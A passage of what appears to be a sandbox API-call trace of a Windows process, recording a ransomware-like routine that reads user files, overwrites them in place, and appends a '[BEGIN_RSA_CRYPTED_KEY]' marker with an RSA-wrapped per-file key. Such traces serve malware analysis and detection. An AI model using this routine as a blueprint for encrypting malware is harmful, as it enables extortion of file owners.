lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.388] CloseHandle (hObject=0x1840) returned 1 [0218.459] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.459] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd", dwFileAttributes=0x80) returned 1 [0218.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.465] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=478589) returned 1 [0218.465] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x74d7d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x74d7d, lpOverlapped=0x0) returned 1 [0218.620] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-478589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.620] WriteFile (in: hFile=0x1840, lpBuffer=0x33c5d98*, nNumberOfBytesToWrite=0x74d7d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c5d98*, lpNumberOfBytesWritten=0x2e3f9b4*=0x74d7d, lpOverlapped=0x0) returned 1 [0218.622] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x74d7d [0218.622] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.622] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.622] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.622] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="ewYj56xI+Dbi0Gtl7DFopNrQxGzqS+K2bu2JvhYojWBu1bFEF56RcdG3pS1BqoFy\nv8O5bhlLpkRJQdDO4MsxKIqVMQwwfltHNeVKUF3mkPxx1Q83CZUXp3wRCTbImwRi\nLUBLQIoTG7WKtquMe1EOTiBbeb3k3XaXPl4+5IQzeCYc679aeqPw9WqERPKmz/cE\n3k37akdy1tq+z96IlgQ+WhgEZrTrXO3vMq3F3XZ/fVyzqSDRSW5lyaUW8gYVReOh\n35qzj6PQYoalavaR227cdTSwGag0AGx450ccr8HT0HL2sZbw1ovt5gRnMzbJautl\nQ/qwLIdICP/0QvOHNxhDPw==\n", pcchString=0x2e3f9a8) returned 1 [0218.623] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.623] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.623] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.623] CloseHandle (hObject=0x1840) returned 1 [0218.624] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.625] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970", dwFileAttributes=0x80) returned 1 [0218.625] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.625] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=868377) returned 1 [0218.626] ReadFile (in: hFile=0x1840, lpBuffer=0x675020, nNumberOfBytesToRead=0xd4019, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x675020*, lpNumberOfBytesRead=0x2e3f9b4*=0xd4019, lpOverlapped=0x0) returned 1 [0218.681] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-868377, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.681] WriteFile (in: hFile=0x1840, lpBuffer=0x354e020*, nNumberOfBytesToWrite=0xd4019, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd4019, lpOverlapped=0x0) returned 1 [0218.684] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd4019 [0218.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.684] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="vqEJ30ddQXkRqqx7bDGTBY1kORI6koXetdqG+7hKXVqOoiZ0d2Z+wAbFqw9MwbCv\nlTsygSz8ZDRzHDOejjeWeji1zvgA6vFbqOFbxvFCt0c7B/GKy+6qe+B8imnG7179\nq7SkiYOATq0QZ1LfvPwJLcyJuEzqAfXD2ddHlA0g+au1yLsNeXHiPgc9iWI6RnP3\nG0aarDE5UmvkFyOA7LQ5W/SiOIZgNaYYXkCH5a2MQEx0jlCO/oDeS5m44ZCeoLEo\nnVopkliBeEXYErpNKigSqHpeEGZwfnl43o6JIsHP186i8zD0zZBb0v82TerDQEHI\nn/GyM+IODwuWlWeVjAabdw==\n", pcchString=0x2e3f9a8) returned 1 [0218.685] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.685] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.685] CloseHandle (hObject=0x1840) returned 1 [0218.687] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.687] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2", dwFileAttributes=0x80) returned 1 [0218.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.687] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16782) returned 1 [0218.688] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x418e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x418e, lpOverlapped=0x0) returned 1 [0218.698] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.698] WriteFile (in: hFile=0x1840, lpBuffer=0x2f391b8*, nNumberOfBytesToWrite=0x418e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x418e, lpOverlapped=0x0) returned 1 [0218.698] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x418e [0218.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.698] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.699] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.699] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="akDARlTLlwAlIWulk5om5yPhUoGkd805ZQXuhwleNeb4llM/7hlj1KdtwYhbG9Gy\nl+/W9Kkq2oWniJ60jxZpXkjMAx7h7aXARR+bmQaFhtGBXQtAwMoOU06nl61NFXSC\nJzyCQPn+BC9ifvNVRgp9QWweutM51JVfEGsKJSdsmRQ2rSQeTGmC+u1ppeTIxg+r\nG7KkX05jIBOf2T9JfWZGKK9pafUa4k7KS8uV3eZkzxbmXBedpUmLqkrpehb11x/N\nhWVpipkiYFO1FocYpFyo/BkzHYK3K7td4sSGjcsbCAKt0sNDmR35PgXTFlKcdW4c\n4Of1hYkIRvLeD1nToJuAuQ==\n", pcchString=0x2e3f9a8) returned 1 [0218.699] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.699] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.699] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.699] CloseHandle (hObject=0x1840) returned 1 [0218.701] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.701] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141", dwFileAttributes=0x80) returned 1 [0218.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.703] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17212) returned 1 [0218.703] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x433c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x433c, lpOverlapped=0x0) returned 1 [0218.719] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.719] WriteFile (in: hFile=0x1840, lpBuffer=0x2f39368*, nNumberOfBytesToWrite=0x433c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39368*, lpNumberOfBytesWritten=0x2e3f9b4*=0x433c, lpOverlapped=0x0) returned 1 [0218.719] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x433c [0218.719] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.719] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.720] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.720] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.720] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.720] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="MLo+BpiLvg9hH/ZyoCi4zuz+H6++IIFWU54vGkti1P2tFmTmo8SuAlIvdUA10a3A\n/bxNESog9+GKIKb6U+GVr9U4Yi85N59ta8TN+ZFOQg4dQ09r/reAsOqNqSfyczgQ\nBwLCogs0XMz16JRcHR9+u/f2hRLbtVelB9/OybEw41vMS7fxHbp0v3a5wj0QqN3M\np9xAbe6KDzcPzPEfp99HFmI2W9DSZr+rw1fDBalQLx4O5yEH0eSDG8oV7z4oxalk\nWsNYoaehgh4yMWNk7AZXkKOihgCnaQMA9lwj+5B5f4uiQAy2woiDc/skER5T46DE\n7PXcyC1gn2l4J5mLJm4BMw==\n", pcchString=0x2e3f9a8) returned 1 [0218.720] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.720] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.720] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.720] CloseHandle (hObject=0x1840) returned 1 [0218.722] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.722] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605", dwFileAttributes=0x80) returned 1 [0218.726] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\656363618cdfd92a6180a78a992fd10ec49ce720fcd49a173d2383797b0cf605"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.726] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2015) returned 1 [0218.726] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x7df, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x7df, lpOverlapped=0x0) returned 1 [0218.760] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-2015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.761] WriteFile (in: hFile=0x1840, lpBuffer=0x33517f8*, nNumberOfBytesToWrite=0x7df, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33517f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7df, lpOverlapped=0x0) returned 1 [0218.761] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7df [0218.761] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.761] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.761] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.761] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.761] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.761] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="ElTRcfeP4FM2JJIfu3K7HCG3aqgvE8b4LwQlg1LgGBedmzYVwSiyL5m5mFXotezU\nqK5yK+OCxzZPUXwuH6Kw6sbQKcgWquUS9+KuMEebNy+jL49nPiSGJ6Mb9qMF8OnV\nsWhiTdaTgRgXxGvm/26MJeYkTv4FnRmGF6Zd2MAApWuEz4ET1HvnVRIcsEEjY41t\nrePmmoDqx2sWlHhZ2kph2YaHCJO0zBj+Ni8UmRcov/yis06Dq8HvVu/9LoLBgefp\ndXgArb24uxWNIsTMYMV1YD5/oViVwhQxZpxGtGEEjWhdDIx8UB5DOMkVHCxgtmL8\ngMvbMJF7I7juPuaAEqjSrw==\n", pcchString=0x2e3f9a8) returned 1 [0218.761] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.762] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.762] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.762] CloseHandle (hObject=0x1840) returned 1 [0218.771] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0218.771] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe", dwFileAttributes=0x80) returned 1 [0218.772] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\632570a80dcffc6efcb398789bc867a3c0f30fdfdb9b10b6bc7317ed3d0b5afe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0218.773] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=640044) returned 1 [0218.773] ReadFile (in: hFile=0x1840, lpBuffer=0x674020, nNumberOfBytesToRead=0x9c42c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x674020*, lpNumberOfBytesRead=0x2e3f9b4*=0x9c42c, lpOverlapped=0x0) returned 1 [0218.940] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-640044, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.940] WriteFile (in: hFile=0x1840, lpBuffer=0x3541020*, nNumberOfBytesToWrite=0x9c42c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3541020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9c42c, lpOverlapped=0x0) returned 1 [0218.942] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9c42c [0218.942] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.942] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.942] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.942] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.943] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: 